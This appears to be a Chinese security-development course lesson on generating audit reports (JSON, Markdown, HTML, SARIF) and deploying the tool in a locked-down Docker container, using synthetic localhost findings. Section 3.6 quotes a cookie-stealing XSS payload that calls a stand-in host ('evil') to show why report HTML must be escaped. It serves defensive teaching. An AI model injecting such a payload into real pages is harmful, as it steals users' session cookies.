Day 165 — 阶段项目(四):安全审计工具箱 · 报告生成 + Docker 部署
Phase 10 — 网络安全开发(Day 146–165) · 主题:安全审计工具箱(Day 162–165 四天项目的第 4 天 · 收官)
使用边界(重要,读完再动手):
- 只对你自己拥有、或已获书面授权的目标做审计。
- 本课所有实验数据都是code/findings.example.json—— 手工构造的合成数据,
目标是127.0.0.1上的自建靶场或audit-process这类流程占位符。
- 本课不发起任何网络请求。报告生成器只读本地 JSON、写本地文件。
容器的默认网络模式是none,这是刻意的:一个只处理文本的程序
没有理由拥有网络。
- 报告里的"证据"字段来自被审计目标,属于不可信输入。
渲染 HTML 时必须转义(见 README 第 3.6 节)。
- 教材中的地址一律为回环或文档网段(RFC 5737 的192.0.2.0/24)。
1. 学习目标
完成本课后,你应该能够:
- 说清四天阶段项目的整体形状,以及为什么报告层才是这个项目的"产品"
- 解释"发现(finding)"和"报告(report)"为什么必须分开建模
- 说清报告的三类消费者(人 / 机器 / 流程),以及为什么三种格式都不能省
- 解释单一数据源原则:为什么渲染器里"不许算东西"
- 说清报告为什么要字节级确定,以及不确定性会毁掉哪些能力
- 解释稳定 id 为什么用内容哈希,而不是自增序号或 UUID
- 说清"风险分 = 严重度 × 置信度"背后的动机,以及只看严重度会错在哪
- 解释覆盖缺口为什么要独立建模并单独占一个退出码
- 说出 JSON / Markdown / HTML / SARIF 四种格式各自的信息损失发生在哪里
- 解释非 root 容器 + 绑定挂载为什么会 EACCES,以及三种正确修法
- 说清 exec 形式的 ENTRYPOINT 为什么是"退出码门禁"能成立的前提
- 复现本课的 Docker 构建,并说清多阶段构建省掉了什么
- 明确本工具不做什么(扫描、利用、解密、改包),以及这些边界为什么必要
2. 概念解释
2.1 阶段项目要做什么(今天站在哪个位置)
Day 159 做了"审计工具箱 v0"(规则引擎 + 报告 + CLI 门禁),Day 160 做了日志分析,
Day 161 做了渗透测试框架。Day 162–165 把这几天分散的能力拼成一个完整的资产审计工具:
Day 162(大前天) 资产面:端口扫描 + 目录爆破 + 指纹识别 ← 有哪些"资产"
Day 163(前天) 漏洞面:SQLi 检测 + XSS 检测 ← 资产上有哪些"弱点"
Day 164(昨天) 流量面:正向代理 + 流量分析(先脱敏再检测) ← 实际网络上发生了什么
Day 165(今天) 产出面:报告生成 + 容器化交付 ← 把它变成"可交付物"
前三天的产出都是内存里的对象和终端里的输出。这些东西有一个共同问题:
它们是临时的。终端缓冲区会滚掉,进程退出对象就没了。
一个审计工具如果没有报告层,它就不是审计工具,只是一个"扫描脚本"。
区别在哪?审计(audit)这个词本身要求可复核:
三个月后有人问"当时你为什么说这台机器是安全的",
你必须能拿出当时的证据链。拿不出来,那次审计就不存在。
所以今天做的不是"加一个输出格式",而是给整个工具补上它的产品形态。
2.2 为什么"发现"和"报告"必须分开建模
新手常见的写法是:检测到问题就直接 print() 一段格式化文本。
问题在于,同一份发现要服务很多种输出:
┌─────────────────┐
扫描结果 ────► │ Finding 列表 │ ← 唯一事实来源
└────────┬────────┘
│
┌────────────┬────────┼────────┬────────────┐
▼ ▼ ▼ ▼ ▼
Markdown HTML JSON SARIF 终端摘要
(给人看) (给人看) (给机器) (给CI/IDE) (给正在跑的人)
如果"检测"这一步直接产出 Markdown 文本,那么:
- 想加一个 HTML 输出 → 必须重写一遍检测逻辑(或写一个脆弱的文本解析器)
- 想在 CI 里按严重度卡门禁 → 只能去 grep 文本,一改排版就崩
- 想算"今天比昨天新增了几个问题" → 需要 diff 文本,误报率高得没法用
把 Finding 抽成数据之后,上面每一件事都变成一次纯函数调用。
这就是"数据与表示分离"(separation of data and presentation)在安全工具里的具体兑现。
2.3 报告的三类消费者
同一份报告,实际上有三种完全不同的读者,他们对"好报告"的定义互相冲突:
| 消费者 | 是谁 | 要什么 | 不要什么 | 对应格式 |
|---|---|---|---|---|
| 人(评审/工单) | 开发者、负责人、甲方 | 能读懂、能定位、有修复建议 | 一堆原始字节 | Markdown / HTML |
| 机器(分析/归档) | 脚本、数据库、后续对比 | 结构稳定、字段完整、无歧义 | 排版、颜色 | JSON |
| 流程(CI/IDE) | GitHub Code Scanning、门禁 | 标准 schema、行级定位、退出码 | 自由发挥的字段名 | SARIF + exit code |
关键认识:没有一个格式能同时满足三者,所以"输出四种"不是偷懒,是必要的。
反过来说,如果只有 Markdown,那么"报告能不能被程序消费"这件事就永远做不到,
报告也就永远停在"截图"的水平。
2.4 单一数据源:渲染器里不许算东西
本课的架构铁律只有一条:
所有渲染器只允许做字符串拼接,绝不允许做计算。
具体说,Report.model() 产出一份规范化的中间表示(IR),
四个渲染器都只从中取字段、拼字符串。这条规则带来三个直接好处:
- 不会漂移:如果排序逻辑写在渲染器里,四个渲染器就会有四份排序,
早晚会出现"Markdown 里 critical 在上面,HTML 里在下面"这种荒唐的 bug。 - 可测试:只要测
model(),四个输出就都被覆盖了核心逻辑。 - 可审计:想验证"报告有没有漏掉严重问题",只需要看一处代码。
代价是:多了一层间接。新手会觉得"我就想输出一个表格,为什么要绕一圈"。
这一圈绕得值——它是本课唯一一个"架构级"的取舍。
2.5 确定性:为什么报告必须字节级可复现
确定性(determinism) 指:同一份输入,重复运行得到字节完全相同的输出。
听起来像洁癖,其实是很多能力的前提条件:
| 能力 | 报告不确定时会怎样 |
|---|---|
git diff 审计产物 |
每次运行整个文件都在变,无法看出目标有没有变化 |
| 回归对比(今 vs 昨) | 误报铺满,真实变化被淹没 |
| 产物哈希做"是否变化"判据 | 哈希每次都不同,判据失效 |
| CI 缓存 / 幂等重跑 | 无法判断"这次结果和上次一样吗" |
| 证据链学术意义上的可复议 | 别人复现不出你的报告,等于无法验证 |
要做到确定性,必须掐死三个不确定来源:
- 时间戳 ——
datetime.now()是确定性的头号杀手。
做法:时间戳由调用方传入(generated_at),
或者用SOURCE_DATE_EPOCH环境变量固定。
(SOURCE_DATE_EPOCH是可复现构建领域的既有约定,见 reproducible-builds.org。) - 顺序 —— dict 在旧版本 Python 无序、多线程收集顺序不定、集合的迭代顺序不定。
做法:排序键写死成一个元组,排序在渲染前统一做一次。 - 标识符 ——
uuid4()每次不同,自增序号在增删后含义会变。
做法:用内容哈希做 id。
本课的代码里,Report.render_json() 对同一输入调用两次,
输出是逐字节相同的;code/out/day165-determinism.md 的内容哈希也因此稳定。
2.6 稳定 id:为什么是内容哈希
@property
def id(self) -> str:
return stable_id(self.target, self.rule_id, self.severity)
三条设计决策,每条都值得说清:
(a)为什么不用 UUID?
UUID 是"唯一"的,但不是"稳定"的。同一条 SQL 注入,今天扫描的 id 是 a1b2…,
明天是 c3d4…。于是"新增/已修复"完全算不出来——每次运行看起来都是全新的 7 条。
(b)为什么不用自增序号?
序号稳定,但含义不稳定。原本 #3 是 XSS,前面删掉一条之后 #3 变成了端口开放。
任何基于序号的对比都会指错对象。
(c)为什么字段只放 target + rule_id + severity?
这是个刻意的取舍。如果把 title 和 reason 也放进哈希:
- 好处:文案改了也算"新问题"(一般不想要这个)
- 坏处:修一个错别字就让整个问题换 id,历史对比全断
所以本课把"可变文案"排除在主键之外。
原则:id 应该由"问题是什么"决定,而不是由"我们怎么描述它"决定。
有了稳定 id,对比就退化成一次集合运算:
new_ids = cur_ids - prev_ids # 本次新增
fixed = prev_ids - cur_ids # 本次已修复
2.7 风险分:为什么"严重度 × 置信度"
只按严重度排序,会犯一个很具体的错误:把低置信度的高危压在已确认的中危上面。
本课的风险分:
risk = SEVERITY_WEIGHT[severity] × {high: 1.0, medium: 0.6, low: 0.3}[confidence]
critical 40 · high 25 · medium 12 · low 5 · info 1
于是:
- 已确认的 high(25×1.0)= 25
- 低置信度的 high(25×0.3)= 7.5 → 7,掉到已确认 medium(12)下面
为什么这是对的?因为你要让读者先处理最值得先处理的问题。
一个"可能是扫描器"的低置信度告警,排查成本可能比修一个确认的中危还高。
把它排在前面,等于用误报的时间成本挤掉了真实修复的时间。
注意这里没有把置信度当成"降级"来用(不把 low-confidence high 变成 medium)。
严重度描述的是"如果成立,影响多大",置信度描述的是"它成立的可能性"。
这是两个正交的维度,混成一个就是信息损失。
2.8 覆盖缺口:为什么它必须单独存在
这是安全报告里最容易被删掉、也最要命的一部分。
"本次审计未发现问题" ← 危险的说法(隐含"全测了、全过了")
"本次审计在 A/B/C 范围内未发现问题;
D 因 TLS 不可见、E 因无授权账号未测" ← 诚实的说法
第一句话在两个月后可能被引用为"当时是安全的",而事实上第 D、E 项从未被测过。
把"没测"藏起来的报告,是在生产虚假的安全感。
所以本课:
- Report.coverage_gaps 是独立字段,不是一句备注
- 渲染时它永远出现在报告里(即使为空也要写"无",
因为"缺失"和"写了个无"在读者眼里不一样)
- CLI 里它单独占退出码 4
为什么退出码 4 不和 1 合并?因为他们的行动项不同:
- 退出码 1(有高危)→ 去修
- 退出码 4(有缺口)→ 去补测,或者去明确接受这个盲区
一个"什么都没测到"的运行如果返回 0,就和"真的全通过"长得一模一样——
这是审计工具最危险的失败模式。
2.9 四种格式的信息损失
格式之间不是"等价转换",每一次转换都可能丢信息。诚实地列出损失点:
| 格式 | 面向 | 保留 | 丢失/风险 |
|---|---|---|---|
| JSON | 机器 | 全字段、全结构 | 人不愿读;文件大 |
| Markdown | 人(评审) | 层级、代码块、diff 友好 | 无法做行级定位;难机器消费 |
| HTML | 人(汇报) | 样式、可折叠、可截图 | 必须转义,否则自己变 XSS 载体 |
| SARIF | CI / IDE | 标准 schema、行级定位、指纹 | 严重度只有三档(error/warning/note),五档必然压缩 |
SARIF 那条损失最值得注意:我们的 critical 和 high 都映射成 error。
所以本课在 SARIF 的 properties 里额外带上原始 severity/confidence/risk ——
压缩可以,但要能还原。不能还原的压缩叫"信息销毁"。
2.10 为什么报告层要容器化
报告生成是一个纯函数式任务:输入 JSON → 输出文件,无网络、无状态。
这种任务容器化的收益特别干净:
"在我机器上是好的" ← 容器要消灭的头号问题
↓
"在所有装了 python3.12 且依赖版本一致的地方都一样"
↓
"在同一个镜像里,永远一样" ← 这才是确定的
具体到审计场景,还有两个额外的理由:
(a)证据的可复现性要求"工具版本"是精确的。
报告里写了 tool_version=audit-toolbox/1.0。
如果这个版本号对应的其实是一个会随 pip install 时间而漂移的环境,
那这个版本号就是假的自证。镜像 digest 才能给出真正的"同一工具"。
(b)把"能联网的扫描容器"和"不能联网的报告容器"分开。
Day 162–164 的扫描工作天然需要网络;报告工作完全不需要。
把后者跑在 --network none 里,即使镜像被污染也没有回传信道。
按需给权限,而不是整体给权限。
2.11 容器安全的默认姿势
本课 Dockerfile / compose 的每一项都可以归到一条原则:默认拒绝。
| 配置 | 挡住什么 | 不做会怎样 |
|---|---|---|
USER 10001:10001 |
容器内 root 提权 | 逃逸后直接拿到宿主 root 级别能力 |
read_only: true |
运行时篡改自身文件 | 攻击者落地持久化(改脚本/塞后门) |
tmpfs /tmp:noexec,16m |
临时目录当跳板 | 写马 + 执行;或塞满内存 |
cap_drop: [ALL] |
网络/挂载等内核能力 | 需要的、不需要的全都敞着 |
no-new-privileges |
setuid 提权 | 镜像里任何 setuid 程序都能抬权 |
network_mode: none |
数据回传 | 后门有信道可用 |
mem_limit: 256M |
畸形输入打爆内存 | 宿主被一个 2GB JSON 拖死 |
最后一条(资源上限)常被忽略,但对"处理外部输入"的程序是必须的:
攻击者控制输入大小时,就等于部分控制了你的资源消耗。
3. 原理解释
3.1 渲染管线(rendering pipeline)
┌─────────────────────────────────────────────────────────┐
│ 1. 收集 collect() │
│ Finding 从三个面(资产/漏洞/流量)汇入 Report │
└──────────────────────────┬──────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 2. 归一化 normalize() ← 唯一的"计算"发生地 │
│ · 去重(同 id 只留 risk 最高的一条) │
│ · 排序(severity → risk → target → rule_id) │
│ · 计数(含 0 值,保证表格形状稳定) │
│ · 脱敏(出口兜底,幂等) │
└──────────────────────────┬──────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 3. 中间表示 model() ← 与格式无关的规范结构 │
│ { schema, scope, generated_at, counts, findings[] } │
└──────────────────────────┬──────────────────────────────┘
▼
┌────────────┬─────────────┼─────────────┬────────────────┐
│ json dump │ markdown │ html escape │ sarif 映射 │
│ (无计算) │ (拼字符串) │ (拼字符串) │ (无计算) │
└────────────┴─────────────┴─────────────┴────────────────┘
3.2 去重与排序
去重为什么必须做? 因为同一个问题会从多个面被发现。
例:一个明文口令既会被 Day 164 的流量规则命中,也可能被 Day 163 的检测命中。
如果不去重,报告会显示"2 个高危",实际只有 1 个 —— 风险被虚高,读者会失去信任。
去重键是 id,冲突时保留 risk 更高的一条(保留证据更充分的那份描述)。
排序键为什么是四元组?
(SEVERITY_ORDER[severity], -risk, target, rule_id)
- 第一维 severity:读者第一眼关心严重度
- 第二维
-risk:同严重度内按风险分从高到低(注意负号) - 第三维 target:同分时按目标分组,便于"一次修完一台机器"
- 第四维 rule_id:最后的兜底,保证全序,排序结果唯一
第四维最容易被忽略但它最要紧:如果前三维全相等,Python 的 sort 会退化成
"保持输入顺序"(稳定排序),于是输入顺序又漏进输出,确定性就破了。
写死一个不可能重复的末位键,才能保证全序。
3.3 严重度 → SARIF level 映射的取舍
critical ┐
high ┼──► "error" (CI 里都会让流水线变红)
medium ┼──► "warning"
low ┐
info ┴──► "note"
为什么把 critical 和 high 都压成 error?因为 SARIF 的 level 只有三档,
而我们在 properties 里保留了原始 severity。取舍逻辑是:
在 CI 的语境里,"必须修"和"必须修"的区分不如"必须修 vs 建议修"重要。
这是一个普遍的模式:向外输出时必须降级到对方 schema 的表达能力,
但在扩展字段里保留原始精度,让有能力消费的人拿得到。
3.4 退出码:工具的对外契约
0 通过(可能无发现,也可能都在阈值以下)
1 有达到/超过阈值的发现 → 行动:去修
2 入参/输入数据错误 → 行动:改用法
3 渲染或写盘失败 → 行动:查磁盘/权限
4 存在覆盖缺口 → 行动:补测 或 显式接受盲区
设计要点:
- 2 和 3 分开:用法错和磁盘满,是两类完全不同的故障(本课实测中真的撞到了 3)。
--fail-on high同时命中 critical:
语义是"达到或超过",所以阈值是上界而不是等号。
这条必须写进--help,否则用户会以为high只管 high。- 1 优先于 4:有高危就直接 1。因为"去修"比"去补测"更紧急,
多返回一个码不会让人更快行动,反而会分散注意力。 - 不要用
sys.exit(True):Python 里True是 1、False是 0,
看起来能用,但读代码的人会以为这是个布尔。
用命名常量(EXIT_FINDINGS = 1)表达意图。
3.5 为什么 exec 形式的 ENTRYPOINT 是门禁的前提
ENTRYPOINT ["python", "03-toolbox-cli.py"] # exec 形式(正确)
# ENTRYPOINT python 03-toolbox-cli.py # shell 形式(错误)
shell 形式的实际效果是 /bin/sh -c "python 03-toolbox-cli.py":
- PID 1 变成了 sh,它不转发信号。
docker stop 发的 SIGTERM 会被忽略,容器只能等 10 秒超时被 SIGKILL。
- 退出码链路多一环,某些情况下 sh 会掩盖子进程的退出码。
对我们的工具来说,第二条是致命的:整个门禁机制建立在退出码上。
所以这里必须用 exec 形式。实测(见第 6 节)容器里
--fail-on high 正确返回 1、写盘失败正确返回 3。
如果想要更强的 PID 1 语义(回收僵尸进程 + 完整信号转发),
可以在镜像里加 tini 或 dumb-init 并作为 ENTRYPOINT。
本课程序是单进程短任务(跑完就退),所以直接 exec 就够,
但生产上的长驻容器应该加。
3.6 HTML 渲染必须转义(否则审计工具变成 XSS 载体)
ev = "<br>".join(_html.escape(e) for e in f["evidence"])
为什么这事特别严重?因为 evidence 字段的来源是被审计目标。
被审计目标可能是攻击者控制的页面/响应。设想:
目标响应里包含:<script>fetch('http://evil/'+document.cookie)</script>
↓
我们用字符串拼接把它写进报告 HTML
↓
负责人在浏览器打开报告 → 脚本在自己公司域内执行
↓
审计工具成功地把攻击载荷投递给了审计员
这是真实存在过的漏洞类别(存储型 XSS 通过日志/报告界面触发)。
防法就是一句 html.escape()——但你必须在每个出口都记得。
本课还把这条写成了思考题(见第 8 节第 3 题)。
3.7 多阶段构建省掉了什么(实测数据)
python:3.12-slim 基础镜像 179 MB
我们的运行镜像 audit-toolbox:1.0 194 MB ← 只加了约 15 MB
15 MB 里包含:从 builder 拷来的 venv、两个 py 文件、一个 /out 挂载点声明。
没有包含:pip 的下载缓存、编译工具链、headless 构建中间层。
如果只写单阶段(把 pip install 和运行放同一个 stage),
缓存和构建残留会一并留在最终镜像里。在依赖多的项目里,
这个差距常见是 300MB ~ 1GB 级别。
COPY requirements.txt ./ # 只拷依赖清单
RUN pip install -r requirements.txt
COPY report_core.py 03-toolbox-cli.py /app/ # 代码另拷
这个顺序也是刻意的:依赖变动频率低于代码,
分开拷贝能让"只改代码"的重建命中依赖层缓存,构建从几十秒降到一两秒。
3.8 非 root + 绑定挂载 = EACCES(本课实测撞到的坑)
这是本课最有价值的一次"翻车"实测,完整记录如下。
现象:镜像构建成功、容器能启动、报告渲染正常,但写盘失败:
📄 报告:安全审计报告
摘要 :findings=7 critical=1 high=3 …
时间戳:2026-09-24T06:00:00+08:00
❌ 写盘失败:[Errno 13] Permission denied: '/out/day165-docker.md'
exit=3
原因:容器里跑的是 uid=10001(app),而宿主上绑定的目录 out/
属于 root:root 且权限是 755。10001 在里面没有写权限。
注意这里暴露了一个好设计:程序没有崩,没有抛异常堆栈,
而是输出了一条人类可读的错误并返回退出码 3。
门禁系统能立刻区分"渲染失败"和"有高危发现"。
三种修法(按推荐度排序):
# 修法 A(推荐 · 最明确):给宿主输出目录正确属主
mkdir -p out && chown 10001:10001 out
docker run … -v "$PWD/out:/out" …
# 修法 B(临时/调试):用宿主当前用户覆盖镜像内用户
docker run --user "$(id -u):$(id -g)" …
# 修法 C(生产 · 更干净):用命名卷,不绑宿主目录
docker run -v audit-out:/out … # docker volume create audit-out
为什么不推荐"把容器改成 root"?因为那是在用整个沙箱换一个目录权限,
是典型的本末倒置。实测中修法 A 一次通过,四个格式全部写出:
✅ 已写入 /out/day165-docker.md(4431 字节)
✅ 已写入 /out/day165-docker.json(5317 字节)
✅ 已写入 /out/day165-docker.html(5531 字节)
✅ 已写入 /out/day165-docker.sarif(10371 字节)
exit=0
延伸经验:这类"权限"问题在 CI 里会表现成"本地能跑、流水线挂"。
定位手段就一句:docker run --rm <image> id 看容器里的 uid,
再 ls -ld <host_dir> 看宿主的属主,两边一比答案自现。
3.9 资源上限:为什么文本处理程序也要限内存
有人认为"我只是读 JSON 写文本,不需要限制"。这句话在输入可信时成立。
但审计工具的输入往往来自外部(扫描结果、客户提供的日志)。
当攻击者能控制输入大小时,他就部分控制了你进程的资源消耗。
几个具体的放大点:
- json.loads 会把整个文档建成对象图,200MB JSON 可能膨胀到 1~2GB 内存
- Report.ordered_findings() 会为每条 finding 算一次哈希与排序键
- HTML 渲染会为整份报告在内存里拼一个大字符串
所以 compose 里给了 memory: 256M / cpus: "1.0"。
这不是"性能优化",是失效边界的定义:
超出就干净地死掉,而不是把宿主一起拖垮。
4. 图解
完整图解见 diagrams/README.md(6 张图:渲染管线、确定性杀手、
退出码决策树、容器信任边界、EACCES 排查路径、格式信息损失地图)。
这里放两张最该记住的:
4.1 渲染管线(数据流单向)
收集(三个面) 归一化(唯一算数的地方) 渲染(零计算)
┌─────────────┐ ┌────────────────────┐ ┌────────────────┐
│ 资产 / 漏洞 │ ──► │ 去重 → 排序 → 计数 │ ──► │ JSON / MD / │
│ / 流量 │ │ → 脱敏(幂等) │ │ HTML / SARIF │
└─────────────┘ └─────────┬──────────┘ └───────┬────────┘
▼ ▼
中间表示 model() 退出码 0/1/2/3/4
4.2 确定性(Mermaid)
flowchart LR
A[原始观测] --> B[时间戳外部注入]
B --> C[统一排序<br/>severity/risk/target/rule_id]
C --> D[内容哈希 id]
D --> E[字节确定的报告]
E --> F[可 diff]
E --> G[产物哈希可信]
E --> H[回归对比无噪声]
5. 定义与使用方法(API 速查表)
5.1 Finding 字段
| 字段 | 类型 | 必填 | 说明 | 为什么需要它 |
|---|---|---|---|---|
rule_id |
str | ✅ | 规则标识(如 WEB-SQLI-ERROR) |
机器聚合的键;也是 id 的一部分 |
title |
str | ✅ | 人类可读的一句话 | 报告标题行;不参与 id |
severity |
str | ✅ | critical/high/medium/low/info |
排序第一维;非法值直接报错 |
target |
str | ✅ | 受影响对象(URL / host:port / 流程名) | 修复者定位用;id 的主键 |
reason |
str | ✅ | 为什么会命中(事实+推断) | 让读者能自己判断是否认可 |
remediation |
str | — | 修复建议 | 与 reason 分开,避免事实/推断混淆 |
confidence |
str | — | high/medium/low(默认 high) |
参与风险分,不改变 severity |
evidence |
tuple[str] | — | 证据切片(可空) | 空时必须渲染成"(无证据,属建议项)" |
tags |
tuple[str] | — | 自由标签 | 后续聚类/过滤 |
phase |
str | — | 来自哪一天/哪一层 | 阶段项目里追溯发现层 |
派生属性(只读):
| 属性 | 计算 | 用途 |
|---|---|---|
id |
stable_id(target, rule_id, severity)[:12] |
去重键、diff 集合运算的键 |
risk |
权重[severity] × 系数[confidence] |
同严重度内的排序、风险总分 |
sort_key |
(sev序, -risk, target, rule_id) |
唯一排序依据 |
严重度权重表:critical 40 · high 25 · medium 12 · low 5 · info 1
置信度系数表:high ×1.0 · medium ×0.6 · low ×0.3
5.2 Report 方法
| 方法 | 签名 | 返回 | 说明 |
|---|---|---|---|
add |
(Finding) -> Report |
self | 链式添加 |
extend |
(Iterable[Finding]) -> Report |
self | 批量添加 |
ordered_findings |
() -> list[Finding] |
去重+排序后的列表 | 每次调用都重算,不改内部状态 |
counts |
() -> dict[str,int] |
五档计数(含 0) | 表格形状稳定 |
total_risk |
() -> int |
风险总分 | 报告头展示 |
model |
() -> dict |
与格式无关的 IR | 唯一数据源 |
render_json |
(indent=2) -> str |
JSON 文本 | 机器消费者 |
render_markdown |
() -> str |
Markdown 文本 | 人类消费者 |
render_html |
() -> str |
HTML(已转义) | 汇报用 |
render_sarif |
() -> str |
SARIF 2.1.0 | CI/IDE |
summarize |
模块级函数 | 单行摘要 | CLI/日志 |
⚠️
ordered_findings()每次调用都重新计算。
为什么不做缓存?因为Report是可变的(add会改它),
缓存就要处理失效问题——而这点计算量完全不值得引入失效逻辑。
换来的好处是:任何时刻调用都反映最新状态,不会有"忘了刷新"的隐性 bug。
5.3 CLI 参数(03-toolbox-cli.py)
| 参数 | 取值 | 默认 | 说明 |
|---|---|---|---|
--input / -i |
路径 | 必填 | findings JSON(数组或带 findings 的对象) |
--format / -f |
md\|json\|html\|sarif\|all |
md |
all = 四种全出 |
--out-dir / -o |
目录 | ./out |
输出目录(自动创建) |
--stem |
文件名主干 | day165-report |
输出文件名前缀 |
--title |
文本 | 安全审计报告 |
报告标题 |
--fail-on |
严重度 或 "" |
无 | 达到或超过即退出码 1 |
--allow-coverage-gaps |
开关 | 关 | 有缺口也返回 0(不推荐) |
--generated-at |
ISO-8601 | SOURCE_DATE_EPOCH 或当前时间 |
固定时间戳做可复现产物 |
--summary-only |
开关 | 关 | 只打印摘要,不写文件 |
5.4 退出码契约
| 码 | 含义 | 行动项 |
|---|---|---|
| 0 | 通过 | 无需动作 |
| 1 | 有达到/超过阈值的发现 | 去修 |
| 2 | 输入/用法错误 | 改调用方式或修数据 |
| 3 | 渲染或写盘失败 | 查磁盘/权限(本课实测撞到过) |
| 4 | 存在覆盖缺口 | 补测,或显式接受盲区 |
5.5 常用命令速查
# 本地:四种格式全出(时间戳固定,产物可复现)
cd code
python3 03-toolbox-cli.py --input findings.example.json --format all \
--generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps
# 本地:高危即拦截(CI 门禁形态)
python3 03-toolbox-cli.py -i findings.example.json -f md --fail-on high --summary-only
# 可复现构建的时间戳来源
export SOURCE_DATE_EPOCH=1758664800
# Docker:构建
docker build -t audit-toolbox:1.0 .
# Docker:最保守地跑(无网络 / 只读根 / 无能力)
docker run --rm --network none --read-only --tmpfs /tmp:size=16m \
--cap-drop ALL --security-opt no-new-privileges \
-v "$PWD/findings.example.json:/data/findings.json:ro" \
-v "$PWD/out:/out" \
audit-toolbox:1.0 --input /data/findings.json --format all --out-dir /out
# Docker:看容器里到底是谁在跑(排查权限问题的第一句)
docker run --rm --entrypoint id audit-toolbox:1.0
# Docker Compose
docker compose build
docker compose run --rm report --input /data/findings.json --format all
docker compose --profile gate run --rm gate
5.6 脱敏规则表(report_core._REDACT_PATTERNS)
| 顺序 | 匹配 | 替换为 | 为什么这么写 |
|---|---|---|---|
| 1 | Authorization/Proxy-Authorization/Cookie/Set-Cookie: <值> |
\1: <REDACTED> |
吃到行尾,否则只擦掉第一个词(实测踩坑) |
| 2 | Bearer <token> |
Bearer <REDACTED> |
兜底独立出现的令牌 |
| 3 | password/passwd/pwd/secret/token/api_key = <值> |
<REDACTED> |
值里排除 ,;&"',避免互相吞并 |
| 4 | scheme://user:pass@host |
scheme://<REDACTED>:<REDACTED>@host |
URL 内嵌凭证 |
写自定义规则时的三条铁律:
- 先指纹后擦除(否则检测能力被自己抹掉,甚至产生误报,见 02 号实验)
- 保证幂等(
f(f(x)) == f(x)),否则多层渲染会反复擦 - 在真数据上跑一遍,看有没有"只擦一半"的情况(
\S+这个坑很常见)
6. 实战代码案例
四天项目的收口场景:把前三天的发现汇成一份可交付报告,并钉进容器里跑。
6.1 文件清单
| 文件 | 行数量级 | 作用 |
|---|---|---|
code/report_core.py |
~560 | 数据模型 + 四种渲染器 + 脱敏(核心库) |
code/01-basic-report.py |
~150 | 基础用法:收集 → 组装 → 渲染 Markdown/JSON |
code/02-determinism-redaction.py |
~250 | 进阶:确定性验证、脱敏顺序、幂等坑 |
code/03-toolbox-cli.py |
~300 | 实战:CLI + 四种格式 + 退出码门禁 |
code/findings.example.json |
— | 合成输入(来自 Day 162/163/164 三个面) |
code/Dockerfile |
— | 多阶段构建 + 非 root + exec ENTRYPOINT |
code/docker-compose.yml |
— | 加固编排(无网络/只读/cap_drop/限额) |
6.2 场景 A:本地出报告(最常用)
cd code
python3 03-toolbox-cli.py --input findings.example.json --format all \
--generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps
实测输出:
📄 报告:安全审计报告
范围 :127.0.0.1 自建靶场(非真实目标;授权演练)
摘要 :findings=7 critical=1 high=3 medium=1 low=1 info=1 risk=105 gaps=4
时间戳:2026-09-24T06:00:00+08:00
✅ 已写入 .../out/day165-report.md(4431 字节)
✅ 已写入 .../out/day165-report.json(5317 字节)
✅ 已写入 .../out/day165-report.html(5531 字节)
✅ 已写入 .../out/day165-report.sarif(10371 字节)
✅ 通过
exit=0
读一下这几行数字里的信息:
- 7 条发现、风险总分 105;
- critical 1 + high 3 = 4 条在 --fail-on high 的拦截范围内(下个场景验证);
- gaps=4,说明这份报告有四块"未覆盖区域"。
四块缺口真的很多吗?不是——它恰好是诚实度的体现(TLS 不可见、无授权账号、无 IPv6、代理超时丢包)。
- 四种格式体积差很大(4.4KB vs 10.4KB),SARIF 最大因为它要把规则、位置、指纹重复表达一遍。
6.3 场景 B:CI 门禁
python3 03-toolbox-cli.py -i findings.example.json -f md --fail-on high --summary-only
门禁 :--fail-on high → 命中 4 条
· [critical] WEB-SQLI-ERROR @ http://127.0.0.1:8080/item?id=1
· [high] TRAFFIC-CLEARTEXT-CRED @ http://127.0.0.1:8080/login
· [high] WEB-XSS-REFLECTED @ http://127.0.0.1:8080/search?q=
· [high] TRAFFIC-SUSPICIOUS-UA @ 127.0.0.1:9000
⛔ 门禁拦截:存在达到阈值的发现
exit=1
注意最后一行里 TRAFFIC-SUSPICIOUS-UA 是 low 置信度的,
但它依然被 --fail-on high 拦截。这看起来和 2.7 节"低置信度应该下沉"矛盾?
不矛盾,但确实是一个真实的取舍:
- 风险分(排序)回答"先看哪个"
- 门禁阈值(拦截)回答"能不能放过"
门禁用的是原始 severity,不看置信度,因为:
门禁一旦引入置信度折扣,就会出现"低置信度高危可以合法放过"的口子,
而低置信度往往只是"证据不完美",不代表"不是真的"。
正确的做法是:门禁看 severity 严卡,人工看 risk 排序排优先级。
如果确实要豁免,应该在流程里显式记录豁免原因,而不是把阈值调松。
6.4 场景 C:四种退出码全部实测
exit=0 --allow-coverage-gaps --fail-on 未设 → 通过
exit=1 --fail-on high(命中 4 条) → 门禁拦截
exit=2 --input nope.json → ❌ 输入错误:输入文件不存在
exit=3 容器内写 /out(宿主目录属 root) → ❌ 写盘失败:Permission denied
exit=4 --fail-on "" 且存在 gaps → ⚠️ 覆盖缺口,结论不完整
五种码逐个实测过,这是本课最硬的交付证据之一。
同时注意 exit=3 是在 Docker 场景下真实发生的(见 7.3),
不是我编出来的一个示例。
6.5 场景 D:容器里跑完整流水线
cd code
docker build -t audit-toolbox:1.0 .
mkdir -p out && chown 10001:10001 out # ← 关键一步(否则 exit=3)
docker run --rm --network none --read-only --tmpfs /tmp:size=16m \
--cap-drop ALL --security-opt no-new-privileges \
-v "$PWD/findings.example.json:/data/findings.json:ro" \
-v "$PWD/out:/out" \
audit-toolbox:1.0 --input /data/findings.json --format all --out-dir /out \
--generated-at 2026-09-24T06:00:00+08:00 --allow-coverage-gaps
实测(修好权限后):
✅ 已写入 /out/day165-docker.md(4431 字节)
✅ 已写入 /out/day165-docker.json(5317 字节)
✅ 已写入 /out/day165-docker.html(5531 字节)
✅ 已写入 /out/day165-docker.sarif(10371 字节)
✅ 通过
exit=0
6.6 代码里最值得抄走的三个片段
(1)稳定 id(三行解决 diff 问题)
def stable_id(*parts: Any, length: int = 12) -> str:
joined = "\x1f".join("" if p is None else str(p) for p in parts)
return hashlib.sha256(joined.encode("utf-8")).hexdigest()[:length]
用 \x1f(单元分隔符)拼接而不是普通空格:
因为 ("a b", "c") 和 ("a", "b c") 用空格拼出来是同一个字符串,
用控制字符就能避开这种边界碰撞。
(2)全序排序键(确定性最后一道锁)
def sort_key(self) -> tuple[int, str, str, str]:
